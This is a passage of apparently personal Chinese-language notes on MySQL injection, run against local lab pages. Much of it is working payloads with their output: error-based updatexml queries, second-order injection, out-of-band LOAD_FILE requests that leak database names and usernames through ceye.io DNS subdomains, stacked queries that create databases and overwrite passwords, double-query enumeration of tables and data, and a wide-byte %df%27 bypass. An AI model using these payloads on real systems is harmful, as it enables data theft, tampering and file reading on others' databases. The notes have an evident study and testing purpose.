username=admin' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) #
//响应如下
XPATH syntax error: '~root@localhost~'<br>删除失败!
//执行的SQ语句如下
DELETE FROM sqli_19 where username='admin' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) #' limit 0,1
二次注入的原理是sql语句没有被转义直接存入数据库,然后在被读取查询而导致的。二次注入在php种通常见于,插入时被
**addslashes()**
**get_magic_quotes_gpc**
等等转义,但是写入数据库时还是使用原来的数据,二次注入造成原因时多种多样的。
在没有被单引号包裹的sql语句下,我们可以用16进制编码他,这样就不会带有单引号等。
所以例如我输入
aaa ’ union select user(),database() #
执行语句的是如下
INSERT INTO `sqli_20`( `flag`, `username`, `password`) values ('','aaa \' union select user(),database() #','7aa8ebee2608f78d980ed88e86696c24')
但是插入的数据却是
mysql> select * from sqli_20 where username like "%aaa%";
+----+------+----------------------------------------+----------------------------------+
| id | flag | username | password |
+----+------+----------------------------------------+----------------------------------+
| 19 | | aaa ' union select user(),database() # | 7aa8ebee2608f78d980ed88e86696c24 |
+----+------+----------------------------------------+----------------------------------+
1 row in set (0.00 sec)
然后数据库在查询的时候带入了username查询
select username , password from sqli_20 where username='admin'limit 0,1
select username , password from sqli_20 where username='test'limit 0,1
select username , password from sqli_20 where username='note-b'limit 0,1
select username , password from sqli_20 where username='KenIn'limit 0,1
select username , password from sqli_20 where username='凉风有信'limit 0,1
select username , password from sqli_20 where username='c66666'limit 0,1
select username , password from sqli_20 where username='noteb'limit 0,1
select username , password from sqli_20 where username='aaa ' union select user(),database() #'limit 0,1 //这条就出现了问题。。。
从而导致了二次注入
所以所谓二次注入,大概就是在第一次操作比如写入数据库等的时候执行了过滤等,但是在第二次操作例如查询该值的时候将原来的的payload给执行了一遍。。。言语可能有点乱。。。
具体可参考
SQL注入(二次注入)
SQL注入防御绕过——二次注入
来自本人的粗浅认识,可能会有所错误。。。
带外通道技术(Out-Of-Band)注入换句话说就是DNS注入吧
一般是在测试盲注的时候帮助更快的注入出数据
dnslog常用平台
ceye
常用的mysql函数有
into outfile //写完文件后会在文件后加一个\n换行符 转义换行符
into dumpfile //写完文件后会在文件后不会加\n换行符 不会转义udf提权常用
load_file
上述的函数导入导出都在mysql5版本起都受到系统变量**@@secure_file_prev** 的影响
注意outfile 和 dumpfile后面的路径都不能是十六进制。
注意如果过滤引号,无法使用十六进制会话或者其他格式作为文件路径
通过DNS log盲注要用到 load_file() 函数,所以一般要是root权限,并且要 load_file() 函数可以正常使用。
mysql> show variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)
在<=5.7.5版本的mysql里面默认值为empty, 在大于5.7.6里面是platform sepcific(linux 默认是/var/lib/mysql-files),表示读写只能在这个目录下面。(有的文章说是5.5.53版本开始,这个未做考证,暂时以官方为主)
本地测试时,如果权限不够可以修改一下
常用payload
记忆方式:select LOAD_FILE(CONCAT('\\\\',(select payload),'.11b7kdti.ceye.io\\abc'));
实战:select LOAD_FILE(CONCAT('\\\\',(select hex(user())),'.11b7kdti.ceye.io\\abc'));;
ps:
http://127.0.0.1/noteb/vul/sqli/sqli1/index.php?id=1 and load_file(concat("\\\\",(select database()),".bbxxxp.ceye.io\\abc")) --+
http://127.0.0.1/noteb/vul/sqli/sqli1/index.php?id=1 and load_file(concat("\\\\",(select hex(group_concat(username)) from sqli_1 limit 1),".bbo1ep.ceye.io\\abc")) --+
拓展——大文件传输思路:
分析:substr可以分割长内容,to_base64 可以防止二进制传输(中文乱码)的情况
注意点:
域名由标签组成,以点(.)分隔,标签的长度不可以超过63个字符。整个域名不可以超过253个字符,包括点(﹒)。
mysql5.6之前不带有to_base64()和from_base64()两个内置函数【base64加解密函数】,Windows2003测试环境的mysql为5.5版本,无法使用这个
Mysql内置函数load_file()不仅能对\www.test.com这样的URL发起请求,还能够加载本地文件,如下:
select load_file(“C:\WINDOWS\system32\drivers\etc\hosts”);
在PHP中,mysqli_multi_query()函数可以多语句查询SQL
mysqli_multi_query()
参数 | 描述 |
---|---|
connection | 必需,规定使用的MYSQL连接 |
query | 必需,规定一个或多个查询,用分号进行分隔 |
技术支持
返回值 | 如果第一个查询失败则返回FALSE |
---|---|
PHP版本 | 5+ |
以下内容摘抄他人博文
//分别执行了2条语句,一条是自带的select 另一条是create database c1o2a3 创建了一个c1o2a3数据库
http://192.168.1.100/sqllabs/Less-38/?id=1%27;create database c1o2a3 --+
//还可以执行其他的语句,比如insert、update、delect等,高权限可以尝试写shell
http://192.168.1.100/sqllabs/Less-38/?id=1%27;insert into users values('19','t','t')#
http://192.168.1.100/sqllabs/Less-38/?id=1%27;update users set password = 'password' where username = 'username' --+
mysql堆叠注入条件_白帽子:SQL注入之堆叠注入
//在联合注入且无回显的情况下可以尝试使用双查询报错注入,这种注入下需要注意rand(x)*x里面的x需要达到报错的点
//查信息
?id=-1%27 UNION SELECT 1,count(*),3, concat((select database()), floor(rand(1)*4))as a from information_schema.tables group by a --+
//查数据库
?id=-1%27 UNION SELECT 1,count(*),3, concat((SELECT distinct schema_name FROM information_schema.schemata LIMIT 1,1), floor(rand(1)*4))as a from information_schema.tables group by a --+
//查表
?id=-1%27 UNION SELECT 1,count(*),3, concat((SELECT distinct table_name FROM information_schema.tables where table_schema=database() LIMIT 0,1), floor(rand(1)*4))as a from information_schema.tables group by a --+
//查列
?id=-1%27 UNION SELECT 1,count(*),3, concat((SELECT distinct column_name FROM information_schema.columns where table_name='sqli_6' LIMIT 0,1), floor(rand(1)*4))as a from information_schema.tables group by a --+
//查数据
?id=-1%27 UNION SELECT 1,count(*),3, concat((select concat(flag) from sqli_6 limit 0,1), floor(rand(1)*4))as a from information_schema.tables group by a --+
?id=-1%27 UNION SELECT 1,count(*),3, concat((select flag from sqli_6 limit 0,1), floor(rand(1)*4))as a from information_schema.tables group by a --+
在使用PHP连接MySQL的时候,当设置“setcharacter_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入%DF%27,即可把(%5C)吃掉,举个例子。
?id=1%df%27--+
?id=-1%df%27 UNION SELECT 1,2,user(),version() --+
//注入手法参考其他注入
史上最水的MYSQL注入总结
web安全-数据验证不当
SQL注入之双查询注入
一篇文章带你深入理解 SQL 盲注
mysql堆叠注入条件_白帽子:SQL注入之堆叠注入
SQL注入(二次注入)
SQL注入防御绕过——二次注入
mysql注入-OOB注入
MYSQL_SQL_BYPASS_WIKI
readthedocs
还有万能的聂聂大佬的小本本
欢迎有缘人访问:blog